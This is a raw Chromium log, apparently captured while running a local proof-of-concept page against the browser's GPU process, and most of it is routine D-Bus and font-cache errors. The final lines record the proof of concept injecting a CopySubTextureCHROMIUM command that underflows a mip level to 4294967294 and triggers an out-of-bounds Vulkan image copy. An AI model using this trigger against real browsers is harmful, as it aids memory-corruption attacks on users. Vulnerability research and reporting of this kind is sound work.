[1588:1603:0407/015551.996547:ERROR:dbus/bus.cc:405] Failed to connect to the bus: Failed to connect to socket /run/dbus/system_bus_socket: No such file or directory [1588:1603:0407/015551.997256:ERROR:dbus/bus.cc:405] Failed to connect to the bus: Failed to connect to socket /run/user/229127/bus: No such file or directory [1588:1603:0407/015551.997497:ERROR:dbus/bus.cc:405] Failed to connect to the bus: Failed to connect to socket /run/dbus/system_bus_socket: No such file or directory [1588:1603:0407/015551.997741:ERROR:dbus/bus.cc:405] Failed to connect to the bus: Failed to connect to socket /run/dbus/system_bus_socket: No such file or directory Fontconfig error: No writable cache directories /var/cache/fontconfig /.cache/fontconfig /.fontconfig Fontconfig error: No writable cache directories /var/cache/fontconfig /.cache/fontconfig /.fontconfig Fontconfig error: No writable cache directories /var/cache/fontconfig /.cache/fontconfig /.fontconfig Fontconfig error: No writable cache directories /var/cache/fontconfig /.cache/fontconfig /.fontconfig [1588:1603:0407/015552.213197:ERROR:dbus/bus.cc:405] Failed to connect to the bus: Failed to connect to socket /run/user/229127/bus: No such file or directory [1588:1588:0407/015552.241637:ERROR:dbus/bus.cc:405] Failed to connect to the bus: Failed to connect to socket /run/user/229127/bus: No such file or directory [1588:1588:0407/015552.243058:WARNING:components/os_crypt/sync/key_storage_linux.cc:166] OSCrypt tried Libsecret but couldn't initialise. [1588:1588:0407/015552.358896:WARNING:chrome/browser/signin/account_consistency_mode_manager.cc:74] Desktop Identity Consistency cannot be enabled as no OAuth client ID and client secret have been configured. [1588:1603:0407/015552.378393:ERROR:dbus/bus.cc:405] Failed to connect to the bus: Failed to connect to socket /run/user/229127/bus: No such file or directory [1588:1603:0407/015552.492001:ERROR:dbus/bus.cc:405] Failed to connect to the bus: Failed to connect to socket /run/user/229127/bus: No such file or directory [1588:1588:0407/015552.512829:ERROR:dbus/object_proxy.cc:572] Failed to call method: org.freedesktop.DBus.NameHasOwner: object_path= /org/freedesktop/DBus: unknown error type: [1588:1588:0407/015552.513174:WARNING:device/bluetooth/dbus/bluez_dbus_manager.cc:209] Floss manager service not available, cannot set Floss enable/disable. [1588:1603:0407/015552.513362:ERROR:dbus/bus.cc:405] Failed to connect to the bus: Failed to connect to socket /run/user/229127/bus: No such file or directory [1588:1588:0407/015552.514427:ERROR:dbus/object_proxy.cc:572] Failed to call method: org.freedesktop.DBus.NameHasOwner: object_path= /org/freedesktop/DBus: unknown error type: [1588:1588:0407/015552.535709:ERROR:dbus/object_proxy.cc:572] Failed to call method: org.freedesktop.DBus.NameHasOwner: object_path= /org/freedesktop/DBus: unknown error type: [1588:1588:0407/015552.550649:ERROR:dbus/object_proxy.cc:572] Failed to call method: org.freedesktop.DBus.NameHasOwner: object_path= /org/freedesktop/DBus: unknown error type: [1588:1603:0407/015552.551122:ERROR:dbus/bus.cc:405] Failed to connect to the bus: Failed to connect to socket /run/user/229127/bus: No such file or directory (poc.html:1588): dbind-WARNING **: 01:55:52.571: Couldn't connect to accessibility bus: Failed to connect to socket /run/user/229127/at-spi/bus_20: No such file or directory [1588:1603:0407/015553.110569:ERROR:dbus/bus.cc:405] Failed to connect to the bus: Failed to connect to socket /run/dbus/system_bus_socket: No such file or directory [1588:1588:0407/015553.110627:ERROR:dbus/object_proxy.cc:572] Failed to call method: org.freedesktop.DBus.NameHasOwner: object_path= /org/freedesktop/DBus: unknown error type: [1588:1603:0407/015553.110961:ERROR:dbus/bus.cc:405] Failed to connect to the bus: Failed to connect to socket /run/dbus/system_bus_socket: No such file or directory [1588:1588:0407/015553.124169:ERROR:dbus/object_proxy.cc:572] Failed to call method: org.freedesktop.DBus.NameHasOwner: object_path= /org/freedesktop/DBus: unknown error type: [1588:1603:0407/015553.124844:ERROR:dbus/bus.cc:405] Failed to connect to the bus: Failed to connect to socket /run/user/229127/bus: No such file or directory Validation Error: [ VUID-VkDeviceCreateInfo-ppEnabledLayerNames-12385 ] | MessageID = 0xd19e260d vkCreateDevice(): pCreateInfo->ppEnabledLayerNames is 0x7e026e3f9380 (not null). Device Layers have never worked since Vulkan 1.0 and only Instance Layers should be used instead: https://docs.vulkan.org/spec/latest/appendices/legacy.html#legacy-devicelayers. The Vulkan spec states: ppEnabledLayerNames must be NULL (https://docs.vulkan.org/spec/latest/chapters/devsandqueues.html#VUID-VkDeviceCreateInfo-ppEnabledLayerNames-12385) Objects: 1 [0] VkPhysicalDevice 0x7b426e4211d0 [1588:1588:0407/015553.169023:WARNING:dbus/property.cc:94] Failed to connect to PropertiesChangedsignal. [1588:1588:0407/015553.171543:ERROR:dbus/object_proxy.cc:572] Failed to call method: org.freedesktop.DBus.Properties.GetAll: object_path= /org/freedesktop/UPower/devices/DisplayDevice: unknown error type: [1588:1588:0407/015553.171589:WARNING:dbus/property.cc:174] GetAll request failed for: org.freedesktop.UPower.Device [1588:1588:0407/015553.187662:ERROR:dbus/object_proxy.cc:572] Failed to call method: org.freedesktop.DBus.NameHasOwner: object_path= /org/freedesktop/DBus: unknown error type: [1588:1603:0407/015553.190670:ERROR:dbus/bus.cc:405] Failed to connect to the bus: Failed to connect to socket /run/user/229127/bus: No such file or directory [1588:1608:0407/015553.248119:ERROR:crypto/nss_util.cc:79] Failed to create /.local/share/pki/nssdb directory. [1621:1621:0407/015553.250115:WARNING:sandbox/policy/linux/sandbox_linux.cc:404] InitializeSandbox() called with multiple threads in process gpu-process. [1588:1588:0407/015553.253421:ERROR:dbus/object_proxy.cc:572] Failed to call method: org.freedesktop.DBus.NameHasOwner: object_path= /org/freedesktop/DBus: unknown error type: [1588:1603:0407/015553.255582:ERROR:dbus/bus.cc:405] Failed to connect to the bus: Failed to connect to socket /run/user/229127/bus: No such file or directory [1588:1588:0407/015553.307557:ERROR:dbus/object_proxy.cc:572] Failed to call method: org.freedesktop.DBus.NameHasOwner: object_path= /org/freedesktop/DBus: unknown error type: [1588:1588:0407/015553.307616:WARNING:ui/base/idle/idle_linux.cc:111] None of the known D-Bus ScreenSaver services could be used. [POC-RENDERER] Injecting CopySubTextureCHROMIUM underflow sequence via command buffer [POC-RENDERER] CopySubTextureCHROMIUM(src=2, sourceLevel=0, dst=3) — frontend ImageDesc for level 0 is defined, so validation passes [POC-GPU] copySubImageImplWithTransfer: sourceLevelGL=0 srcImage->firstAllocatedLevel=2 -> srcSubresource.mipLevel=4294967294 (0xfffffffe), srcImage->mipLevels=1 [POC-GPU] *** UNDERFLOW: vkCmdCopyImage srcSubresource.mipLevel=4294967294 >= image mipLevels=1 — violates VUID-vkCmdCopyImage-srcSubresource-07967 *** [POC-RENDERER] CopySubTextureCHROMIUM recorded, glGetError=0x0 Validation Error: [ VUID-vkCmdCopyImage-srcSubresource-07967 ] | MessageID = 0x75c6d2c2 vkCmdCopyImage(): pRegions[0].srcSubresource.mipLevel is 4294967294, but provided VkImage 0x240000000024 has only 1 mip levels. The Vulkan spec states: The srcSubresource.mipLevel member of each element of pRegions must be less than the mipLevels specified in VkImageCreateInfo when srcImage was created (https://docs.vulkan.org/spec/latest/chapters/copies.html#VUID-vkCmdCopyImage-srcSubresource-07967) Objects: 2 [0] VkCommandBuffer 0x7b826e4d5500 [1] VkImage 0x240000000024 Validation Error: [ VUID-vkCmdCopyImage-srcOffset-00144 ] | MessageID = 0x2277ab73 vkCmdCopyImage(): pRegions[0].srcOffset.x (0) + extent.width (64) exceeds miplevel 4294967294 which has a width of 0. srcImage: The VK_IMAGE_TYPE_2D VkImage was created with format VK_FORMAT_R8G8B8A8_UNORM and an extent of [width = 16, height = 16, depth = 1] mipLevel 4294967294 is [width = 0, height = 0, depth = 0] dstImage: The VK_IMAGE_TYPE_2D VkImage was created with format VK_FORMAT_R8G8B8A8_UNORM and an extent of [width = 64, height = 64, depth = 1] The Vulkan spec states: For each element of pRegions, srcOffset.x and (extent.width + srcOffset.x) must both be greater than or equal to 0 and less than or equal to the width of the specified srcSubresource of srcImage (https://docs.vulkan.org/spec/latest/chapters/copies.html#VUID-vkCmdCopyImage-srcOffset-00144) Objects: 2 [0] VkCommandBuffer 0x7b826e4d5500 [1] VkImage 0x240000000024 [1588:1588:0407/015553.478612:INFO:CONSOLE:8] "webgl2 context created; GL_RENDERER = WebKit WebGL", source: http://127.0.0.1:8080/poc.html (8) [1588:1588:0407/015553.478817:INFO:CONSOLE:8] "calling gl.finish() to trigger injected CopySubTextureCHROMIUM...", source: http://127.0.0.1:8080/poc.html (8)